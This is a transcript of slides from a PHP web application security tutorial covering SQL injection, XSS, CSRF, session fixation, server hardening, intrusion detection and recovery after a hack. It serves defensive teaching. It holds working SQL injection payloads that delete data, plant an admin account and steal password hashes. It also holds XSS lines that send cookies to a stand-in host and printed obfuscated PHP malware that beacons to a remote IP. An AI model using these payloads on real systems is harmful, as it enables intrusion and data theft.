The document is a tutorial by Wim Godden, covering web application security, focusing on vulnerabilities such as SQL injection, XSS, and CSRF. It emphasizes the importance of input validation, secure coding practices, and various techniques to protect against attacks while providing practical examples. The tutorial highlights common security issues and best practices to foster a better understanding of web application security among developers.

1. Wim Godden
Cu.be Solutions
My app is secure...
I think

2. Who am I ?
Wim Godden (@wimgtr)

3. Where I'm from

4. Where I'm from

5. Where I'm from

6. Where I'm from

7. Where I'm from

8. Where I'm from

9. My town

10. My town

11. Belgium – the traffic

12. Who am I ?
Wim Godden (@wimgtr)
Founder of Cu.be Solutions (http://cu.be)
Open Source developer since 1997
Developer of PHPCompatibility, OpenX, Nginx SLIC, ...
Speaker at PHP and Open Source conferences

13. Who are you ?
Developers ?
System engineers ?
Network engineers ?
Ever had a hack ?
Through the code ?
Through the server ?

14. This tutorial
Based on 2-day training
Full stack → no Vagrant/VirtualBox required
Code samples will be provided after tutorial
Lots of links at the end → slides on Joind.in

15. My app is secure... I think
Basic stuff = known...
… or is it ?
Code is not enough
Code
Webserver
Database server
Operating system
Network

16. Disclaimer
Do not use these techniques to hack
Use the knowledge to prevent others from hacking you

17. Reasons for hackers to hack
Steal and sell your data
Use your infrastructure as a jumpstation to hack other servers
Send out lots of spam
Use your server in a botnet for DDOS attacks
Bring down your systems
…

18. Part 1 : the most common attacks

19. OWASP
Open Web Application Security Project
www.owasp.org
Top 10

20. SQL Injection (OWASP #1)
Over 15 years
Still #1 problem

21. SQL Injection (OWASP #1)
<?
require("header.php");
$hostname="localhost";
$sqlusername="someuser";
$sqlpassword="somepass";
$dbName="somedb";
MYSQL_CONNECT($hostname,$sqlusername,$sqlpassword) OR DIE("Unable to connect to database.");
@mysql_select_db("$dbName") or die("Unable to select database.");
$fp=fopen("content/whatever.php","r");
while (!feof($fp))
$content.=fgets($fp,2);
$res=MYSQL_DB_QUERY("somedb","select * from whatever where id=" . $_GET['id']);
for ($cnt=0;$cnt<MYSQL_NUMROWS($res);$cnt++)
{
$lst.="<LI>".MYSQL_RESULT($res,$cnt,"text")."</LI>n";
}
$content=str_replace("<@textstring@>",$lst,$content);
print $content;
require("footer.php");
?>

22. SQL Injection (OWASP #1)
Over 15 years
Still #1 problem
Easy to exploit
Easy to automate (scan + exploit)
Often misunderstood

23. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user where email='' OR '1'='1'
E-mail :

24. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user where '1'='1'
E-mail :

25. Standard SQL injection example
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'All is good';
} else {
echo 'Nobody home';
}
' OR '1'='1
select * from user;
E-mail :

26. Typical pre-2005 site
Your mission (impossible) : secure the site !
index.php
contact.php
register.php
login.php
Once logged in :
main.php
… (all other content)

27. SQL injection – sample – lostpassword.php
<?php
$query = "select * from user where email='" . $_POST['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'E-mail address not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_POST['email'], 'New password', 'New password: ' . $newpass);
echo 'New password sent to ' . mysql_result($result, 0, 'email');
}
}

28. SQL injection – sample – lostpassword
lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271
email=whatever@me.com' OR '1'='1
select * from user where email='whatever@me.com' OR '1'='1'

29. Worst case : data deletion
email=whatever@me.com' OR '1'='1'; delete from user where '1'='1

30. Knowing the table structure
email=whatever@me.com' AND email is NULL; --'
select * from user where email='whatever@me.com' AND email is NULL; --';
<?php
$query = "select * from user where email='" . $_GET['email'] . "'";
$result = mysql_query($query);
if (mysql_errno() != 0) {
echo 'Error !';
} else {
if (mysql_numrows($result) == 0) {
echo 'Not found';
} else {
$newpass = updatepassword(mysql_result($result, 0, 'email'));
mail($_GET['email'], 'New password', 'Your new password is ' . $newpass);
echo 'Your new password was sent to ' . mysql_result($result, 0, 'email');
}
}

31. Other fields ?
id
firstname / first_name
lastname / last_name
password / pass / pwd
is_admin / isadmin / admin
…
email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname',
'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'),
'My', 'New User', 1); --';

32. Update, retrieve password, update again
email=whatever@me.com'; UPDATE user set
email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com
email=whatever@me.com'; UPDATE user set email='some-user-
we@found.com' where email='myhackeraddress@gmail.com'; --';

33. Hackers just want your data
email=whatever@me.com' OR 1=1 limit 1, 1; --';
email=whatever@me.com' OR 1=1 limit 2, 1; --';
email=whatever@me.com' OR 1=1 limit 3, 1; --';
...

34. They want ALL data (not just email addresses)
Field name Type
id int
username varchar(32)
password varchar(64)
firstname varchar(32)
lastname varchar(32)
address varchar(255)
zip varchar(8)
city varchar(32)
country varchar(3)
... ...

35. They want ALL data (not just email addresses)
Field name Contents
password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
address Hollywood Blvd. 32

36. They want ALL data (not just email addresses)
Field name Contents
password hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf
address Hollywood Blvd. 32|||hoh8asfdgih$0h3oh#hflkdsafhfsdfdsaf

37. They want ALL data (not just email addresses)
email=whatever@me.com'; UPDATE user set address=concat(address, '|||',
password), email='myhackeraddress@gmail.com' where email='some-user-
we@found.com'; --';
Retrieve password for myhackeraddress@gmail.com
Start scraping !
email=whatever@me.com'; UPDATE user set
password=substring_index(address, '|||', -1),
address=substring_index(address, '|||', 1), email='some-user-
we@found.com' where email='myhackeraddress@gmail.com'; --';

38. SQL Injection – much more...
Much more than logging in as a user
SQL injection possible → wide range of dangers

39. Fixing SQL injection : attempt #1
Addslashes() ?
$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));
www.hack.me/id=5%20and%20sleep(10)
select * from user where id=5 and sleep(10)
What if we hit that code 100 times simultaneously ?
MySQL max_connections reached → Server unavailable

40. Fixing SQL injection : attempt #2
mysql_real_escape_string()
mysqli_real_escape_string()
pg_escape_string()
...

41. Fixing SQL injection : use prepared statements
$select = 'select * from user where email = :email';
$stmt = $db->prepare($select);
$stmt->bindParam(':email', $_GET['email']);
$stmt->execute();
$results = $stmt->fetchAll();

42. ORM tools
Doctrine, Propel, …
When using their query language → OK
Beware : you can still execute raw SQL !

43. Other injections
LDAP injection
Command injection (system, exec, ...)
Eval (waaaaaaaaaah !)
…
User input → PHP → External system
If you provide the data, it's your responsibility !
If you consume the data, it's your responsibility !

44. Demo
<?php
mysql_connect('localhost', 'sqlinjection', 'password') or die('Not working');
mysql_select_db('sqlinjection');
$result = mysql_query("select * from user where email='" . $_GET['email'] . "'");
if (mysql_numrows($result) > 0) {
echo mysql_result($result, 0, 'name');
} else {
echo 'Error';
}

45. Bobby Tables

46. Session fixation
www.our-app.com
1
2
PHPSESSID=abc123
3
4
www.our-app.com/
?PHPSESSID=abc123
6
www.our-app.com/
?PHPSESSID=abc123
<html>
…
<a href=”http://www.our-app.com/?PHPSESSID=abc123”>Verify your account</a>
…
</html>
5
Login

47. Session fixation
angel.cloud.com
1
Create evil PHP code
4
Session cookie on
.cloud.com
+
redirect
2
3
devil.cloud.comdevil.cloud.com
5
Login6
Use evil session cookie
<html>
…
<a href=”http://devil.cloud.com”>Verify your account</a>
…
</html>

48. Session hijacking
www.our-app.com
PHPSESSID=
abcdef123
PHPSESSID=
abcdef123

49. Ways to avoid session fixation/hijacking
session.use_trans_sid = 0
session.use_only_cookies = true
session.cookie_httponly = true
Change session on login using session_regenerate_id(true)
Do not share sessions between sites/subdomains
Do not accept sessions not generated by your code
Foreign session → remove the session cookie from the user
Regenerate session regularly using session_regenerate_id(true)
Use HTTPS
session.cookie_secure = true
All of the above help against session fixation AND session
hijacking !

50. XSS – Cross Site Scripting
<?php
addMessage($_GET['id'], $_GET['message']);
echo 'Thank you for submitting your message : ' . $_GET['message'];
URL : /submitMessage
http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>

51. XSS – more advanced
http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in
touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-
cookie.js"></script>

52. XSS – Advanced, yet simple
<img src=x onerror=this.src='http://someplace.io/post-the-cookie-
here.php?c='+document.cookie>
http://www.our-app.com/?id=5&message=Thanks
%2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D
%27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D
%27%2Bdocument.cookie%3E%0D%0A

53. XSS : Non-persisted vs persistent
Previous examples were non-persistent : issue occurs once
Post code to exploitable bulletin board
→ Persistent
→ Can infect every user
→ If you stored it without filtering, you're responsible for escaping on
output !

54. XSS : how to avoid
Filter input, escape output
<?php
echo 'I just submitted this message : ' .
htmlentities($_GET['message'], ENT_QUOTES, 'UTF-8', false);

55. CSRF : Cross Site Request Forgery
www.our-app.com
1
Submit article
for review
2
Retrieve articlefor review
3
Evil html or jsmakes call
4
Devil uses extra
privileges
Here's the article you were asking for.
<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />

56. CSRF : ways to avoid
Escape the output (where did we hear that before ?)
Add a field to forms with a random hash/token for verification
upon submit
Check the referer header
<form method="post" action="userSave.php">
<input name="id" type="hidden" value="5" />
<input name="token" type="hidden" value="a4gjogaihfs8ah4gisadhfgifdgfg" />
rest of the form
</form>

57. General rules – input validation
Assume all data you receive as input
contains a hack attempt !
That includes data from trusted users
→ over 90% of hacks are done by employees/partners/...
Filter on disallowed characters
Check validity of
Dates
Email addresses
URLs
etc.
Input validation is not browser-side code, it's server-side code
(you can ofcourse use browser-side code to make it look good)

58. General rules – validation or filtering ?
Validation :
Verify if the values fit a defined format
Examples :
expecting int, but received 7.8 → “error, 7.8 is not a valid integer”
expecting international phone number, but received “+32 3 844 71 89”
Filtering / sanitizing :
Enforce the defined format by converting to it
Examples :
expecting int, but received 7.8 → 8
expecting int, but received 'one' → 0
Both have (dis)advantages

59. General rules – escaping output
Doing input validation → why do you need output escaping ?
What if the data originates from
a webservice
an XML feed
…
Always escape output !

60. Clickjacking
Do you want to
support
our cause ?
NoSure
Do you want to
delete all your
Facebook
friends ?
Yes No
FB button

61. Clickjacking - solutions
Sending X-Frame-Options header :
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Sending frame-ancestor directive :
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors example.com wikipedia.org
Jump out of iframe (use Framekiller)

62. Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
redirect
to main

63. Bad authentication / authorization layer
index.php
(checks cookie)
login.php
(sets cookie)
redirect
to login
main.php
(doesn't check
cookie !)
redirect
to main

64. Bad authentication / authorization layer
Only hiding URLs on view, not restricting on action
/somewhere is visible on screen
/somewhere/admin is not visible, but is accessible
Allowing direct access to other user's data
/user/profile/id/311 is the user's profile
/user/profile/id/312 is also accessible and updateable
Allowing direct access to file downloads with guessable urls
/download/file/83291.pdf
Creating cookies :
loggedin=1
userid=312
admin=1

65. Protecting your web stack
PHP
Webserver
Database server
Mail server
Other servers
Firewalls
...

66. Protecting your web stack - PHP
Update to the latest version (5.4 = EOL, 5.5 will be EOL this
year)
Safe_mode = dead → use PHP-FPM or VMs
Register_globals = dead :-)
Suhosin patch → mostly for web hosting companies
Disable 'dangerous' PHP functions you don't need in php.ini
system
exec
passthru
'Eval' is not a function, so can not be disabled

67. Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...

68. Protecting your web stack – PHP code
If you allow uploads, restrict extensions. No .php, .phtml !
Don't show errors...
...and don't show exceptions, but...
…log them ! And watch your logs ;-)
If you use filenames as parameters
download.php?filename=test.pdf
Make sure you don't allow ../../../../etc/passwd
Use basename() and pathinfo() to restrict
File extensions :
Use .php
Don't use .inc, .conf, .include, ...

69. Detecting hack attempts from PHP
2 options :
Build your own
Use an existing system
CAPTCHA
IDS

70. Building a simple system
Add an input field that's hidden from view (bots will fill it out)
Implement a captcha
Limit number of attempts on captcha
Limit number of posts to certain URL

71. Limiting number of posts to a URL
function isUserBlocked($userId) {
$submissions = $memcache->get('submissions_' . $userId);
if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) {
$submissions = array();
}
$now = new DateTimeImmutable();
if (count($submissions) == 10) {
if (new DateTime($submissions[9]) > $now->modify('-1 hour')) {
return false;
}
unset($submissions[9]);
}
array_unshift($submissions, $now->format(DateTime::ATOM));
$memcache->set('submissions_' . $userId, $submissions);
return true;
}

72. Using an existing system
PHPIDS :
The standard IDS for PHP
More complete
Exposé :
By @enygma (Chris Cornutt)
Faster
Use the same ruleset
Provides impact value =
level of trust in data
$data = array(
'POST' => array(
'test' => 'foo',
'bar' => array(
'baz' => 'quux',
'testing' => '<script>test</script>'
)
)
);
$filters = new ExposeFilterCollection();
$filters->load();
$logger = new ExposeLogMongo();
$manager = new ExposeManager($filters, $logger);
$manager->run($data);
// should return 8
echo 'impact: '.$manager->getImpact()."n";

73. Protecting your web stack – Passwords
Don't md5() → sha512, blowfish, …
Set a good password policy
Min 8 chars, min 1 number, min 1 uppercase char, …
Reasonable maximum length (> 20)
→ Hashed result is always the same length, so restricting is insecure
Try to avoid password hints
→ Email is better for recovery
Don't create your own password hashing algorithm !
Use password_hash
5.5+ : built-in
< 5.5 : ircmaxell/password-compat

74. Password_hash
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
$options = array('cost' => 15);
if (password_verify($password, $hash)) {
if (password_needs_rehash($hash, PASSWORD_DEFAULT, $options)) {
$newhash = password_hash($password, PASSWORD_DEFAULT, $options);
}
echo 'Password correct';
} else {
echo 'Password incorrect';
}
Calculating password hash :
Verifying password hash :

75. Rehashing old passwords from md5() or sha1()
$stmt = $db->prepare('SELECT * FROM user where email=:email');
$stmt->execute(':email' => $email));
$userRow = $stmt->fetch(PDO::FETCH_ASSOC);
if ($stmt->rowCount() > 0)
if (password_verify($password, $hash) || $userRow['pass'] == md5($password)){
// password_needs_rehash will return true when presented with unknown hash
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
$newhash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $db->prepare('UPDATE user SET pass=:pass WHERE email=:email');
$stmt->bindparam(':email', $email);
$stmt->bindparam(':pass', $newhash);
$stmt->execute();
}
// Set logged in data in session here, then redirect to logged in page
}
}
echo 'Password incorrect';
Tell users who haven't logged in for a while that their password
will expire in x days
Upon login :

76. Protecting your web stack – Webserver
Block direct access to upload directories

77. Access to private files, uploads, ...

78. Protecting your web stack – Webserver
Block direct access to upload directories
Allow only access to port 80 and 443 (!)
Disable phpMyAdmin (VPN only if required)
On Apache don't :
AllowOverride All
Options Indexes
Block access to .svn and .git

79. Protecting your web stack – Webserver

80. Protecting your web stack – Webserver
Don't run web server as root
Don't let web server user access anything outside web root
Detect and ban flood/scan attempts in Nginx :
http {
limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m;
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;
server {
limit_conn conn_limit_per_ip 10;
limit_req zone=req_limit_per_ip burst=10 nodelay;
}
}

81. Use automatic logfile scanner & banner
Example : Fail2ban
[http-get-dos]
enabled = true
port = http,https
filter = http-get-dos
logpath = /var/log/nginx/access.log
maxretry = 300
findtime = 300
bantime = 600
action = iptables[name=HTTP, port=http, protocol=tcp]

82. Protecting your web stack – Database server
No access from the web required
Give it a private IP
Other websites on network ?
→ send traffic over SSL
1 user per DB
1 DB per user
1 DB per application

83. Protecting your web stack – Mail server
Setup SSL for POP3, IMAP, SMTP
Setup DomainKeys
Setup SPF (Sender Policy Framework)

84. Protecting your web stack – DNS server
Possible weak point in architecture
Controls web, MX (mail) records, anti-spam, etc.
DNS hijacking
DNS spoofing

85. Protecting your web stack
Use public/private key pairs for SSH, not passwords
Don't login as root
→ Use sudo for commands that really need it
Allow SSH access only from VPN
Running
Memcached ?
Gearman ?
… ?
→ Block external access

86. Lack of updates
Not updating system packages
Not updating frameworks and libraries
Not just main components
Doctrine
Bootstrap
TinyMCE
etc.
Not updating webserver software
Not updating database server software
Recently :
Heartbleed (OpenSSL)
Shellshock (Bash)
Ghost (Glibc)

87. Protecting your web stack - firewalls
Separate or on-server
Default policy = deny all
Don't forget IPv6 !!!
Perform regular scans from external location
Use blacklists to keep certain IP ranges out

88. First action of a hacker
Make sure they don't lose the access they gained
Create new user → easy to detect
Install a custom backdoor
→ easy to detect with good IDS
Install a backdoor based on installed software
→ Example : start SSHD with different config on different port (remember firewall ?)
→ Harder to detect
→ Kill it... what happens ?
→ Probably restarts via cronjob

89. Using an Intrusion Detection System
Host-based Intrusion Detection System (HIDS)
Network-based Intrusion Detection System (NIDS)

90. Host-based Intrusion Detection System
Scans the file system for changes
New/deleted files
Modified files (based on checksum)
File permission changes
Old systems are standalone :
AIDE, Tripwire, AFICK
Easy to update by hacker, not recommended (unless combined with
backup system)
Intrusion detection by backup
Best Open Source tool = OSSEC
Client-server-based architecture → real-time notification that hacker
can't stop
Centralized updates

91. OSSEC - WebUI

92. OSSEC - Analogi

93. OSSEC structure

94. OSSEC integration

95. Decentralized alternative : Samhain
Can be used centralized or standalone
Log to syslog, send email, write to DB
Processing on the client
Improves processing speed
Requires CPU power on client

96. Network-based Intrusion Detection Systems
Snort
Open Source
Supported by Cisco (rules are not free)
Analyzes traffic, blocks malicious traffic
Huge user base, tons of addons

97. Snort

98. Network-based Intrusion Detection Systems
Sirucata
Similar to Snort
Multi-threaded
Supports hardware acceleration (packet inspection by GPU !)
Detects malware in traffic
Scripting engine : Lua (with LuaJIT)

99. Sirucata + Kibana

100. Network-based Intrusion Detection Systems
Kismet
Wireless IDS
Detects rogue access points
Prevents MITM attacks
Detects hidden access points

101. Kismet

102. What's the problem with public wifi ?
Traffic can be intercepted
Traffic hijacking / injection
Forcing site to use HTTPS fixes it right ?
What if user goes to some other HTTP site and I inject <img
src=”http://yoursite.com/someurl”> ?
→ Session cookies are transmitted over HTTP
Use HSTS
HTTP Strict Transport Security
Tells browser to use only HTTPS connections
Strict-Transport-Security: max-age=expireTime [; includeSubDomains] [;
preload]
Chrome 4+, FF 4+, IE 11+, Opera 12+, Safari 7+

103. One IDS distro to rule them all
Security Onion
Based on Ubuntu
Contains all the IDS tools...
...and much more

104. You've been hacked ! Now what ? (1/4)
Take your application offline
→ Put up a maintenance page (on a different server)
Take the server off the public Internet
Change your SSH keys
Make a full backup
Check for cronjobs
Check access/error/... logs
(And give them to legal department)
Were any commits made from the server ?
→ Your server shouldn't be able to !

105. What a PHP hack might look like
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0
xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFf
OF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW
5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRl
cy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbC
cpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRl
Y29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW
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U5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygk
UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKS
sxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVF
NDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));

106. What a PHP hack might look like

107. What a PHP hack might look like
$GLOBALS['_226432454_']=Array();
function _1618533527($i)
{
return '91.196.216.64';
}
$ip=_1618533527(0);
$GLOBALS['_1203443956_'] = Array('urlencode');
function _1847265367($i)
{
$a=Array('http://','/btt.php?
ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER');
return $a[$i];
}
$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .
$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)])
._1847265367(7) .$_SERVER[_1847265367(8)];
$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt',
'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');
function _393632915($i)
{
return 'curl_version';
}

108. What a PHP hack might look like - location
Changes to .htaccess
Files in upload directory
PHP code in files with different extension
New modules/plugins for Drupal/Wordpress

109. You've been hacked ! Now what ? (2/4)
Search system
preg_replace
base64_decode
eval
system
exec
passthru
Search system and database
script
iframe

110. You've been hacked ! Now what ? (3/4)
Find out how the hack happened ;-)
Write an apology to your customers
Finally :
Reinstall the OS (from scratch !)
Update all packages to the latest version
Don't reinstall code from backup !
Install source code from versioning system
Restore DB from previous backup (use binary log file)

111. Restoring your database to a specific point
Turn on binary log
Usually for master-slave replication
Useful for fast recovery
Make sure it can handle >24h of data
Make a daily database backup
Make a db dump to a file (mysqldump, …)
Warning : locking danger → do this on the slave !
Backup the db dump file
To recover :
Restore the db dump file
Disable db access (webserver, internal users, phpMyAdmin, ...)
Import db dump file to db
Replay binary log (mysqlbinlog …)

112. You've been hacked ! Now what ? (4/4)
Install IDS
Get an external security audit on the code
Get an external security audit on the system/network setup
Change user passwords
Relaunch
Cross your fingers

113. Takeaways
Think like a hacker
Can I steal data ? Can I DOS the site ?
Which techniques could I use to do it ?
Try it without looking at the code
Try it while looking at the code
Use SSL/HTTPS everywhere !
Block all traffic, then allow only what's needed
Sanitize/filter your input
Escape your output
Block flooders/scanners
Use an IDS
Never trust a hacked system

114. Questions ?

115. Questions ?

116. The software discussed (and more)
General resources
OWASP : www.owasp.org
SANS : http://www.sans.org/security-resources/
SecurityFocus : http://www.securityfocus.com/
CERT : http://cert.org/
SecTools : http://sectools.org/
SQL injection
Havij (automated tool) – WARNING – trojan infected !!!! :
https://thepirateboat.eu/torrent/8410326/Havij_v1.17ProCracked.7z
sqlmap (automated – open source) : http://sqlmap.org/
Clickjacking demo :
https://www.youtube.com/watch?v=3mk0RySeNsU

117. The software discussed (and more)
Password use in PHP
5.5+ : password_hash function : http://php.net/password_hash
< 5.5 : password_compat :
https://github.com/ircmaxell/password_compat
SSL certificates
RapidSSL FreeSSL : https://www.freessl.com/
Let's Encrypt (free) : https://letsencrypt.org/
StartSSL : https://www.startssl.com
Block access to .svn and .git :
http://blogs.reliablepenguin.com/2014/06/26/block-access-git-svn-fol

118. The software discussed (and more)
Webserver flood/scan detection
Nginx : http://nginx.com/resources/admin-guide/restricting-access/
Multi-webserver : http://www.fail2ban.org
Proxy-based :
http://www.ecl-labs.org/2011/03/17/roboo-http-mitigator.html
Protecting your mail server
SPF and DomainKeys :
http://www.pardot.com/faqs/administration/adding-spf-domainkeys-dns/
DNS
Hijacking : http://www.gohacking.com/dns-hijacking/
Spoofing :
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryptio
IPv6 – don't forget to firewall it the same way :
https://www.sixxs.net/wiki/IPv6_Firewalling

119. The software discussed (and more)
Slow HTTP DOS attacks :
https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate
IDS
PHP
PHPIDS : https://github.com/PHPIDS/PHPIDS
Exposé : https://github.com/enygma/expose
Host-based
OSSEC : www.ossec.net
Samhain : http://www.la-samhna.de/samhain/
AIDE : http://aide.sourceforge.net/
Network-based
Snort : https://www.snort.org/
Sirucata : http://suricata-ids.org/
All in one : Security Onion : http://blog.securityonion.net/

120. The software discussed (and more)
Penetration testing live CD :
Backtrack Linux : http://www.backtrack-linux.org/
Kali Linux : https://www.kali.org/
Automatic scanning tools :
Nessus : http://www.tenable.com/products/nessus-vulnerability-scanner
Wapiti : http://wapiti.sourceforge.net/
Nexpose : http://www.rapid7.com/products/nexpose/
Web App Scanning / Auditing :
w3af : http://w3af.org/
Wapiti : http://wapiti.sourceforge.net/
Nikto2 : https://cirt.net/nikto2

121. In case you're interested
Tutorial : 2,5h - 3h
Training : 2 days
1,5 days of interactive training (partly slides, partly hands-on)
Try out different security issues
Experiment on local virtualboxes and physical machines we bring along
0,5 day of auditing
Your code
Your servers
Your network
As a global team effort or in smaller teams
More details : https://cu.be/training

122. Contact
Twitter @wimgtr
Slides http://www.slideshare.net/wimg
E-mail wim@cu.be
Please provide feedback via :
https://legacy.joind.in/17709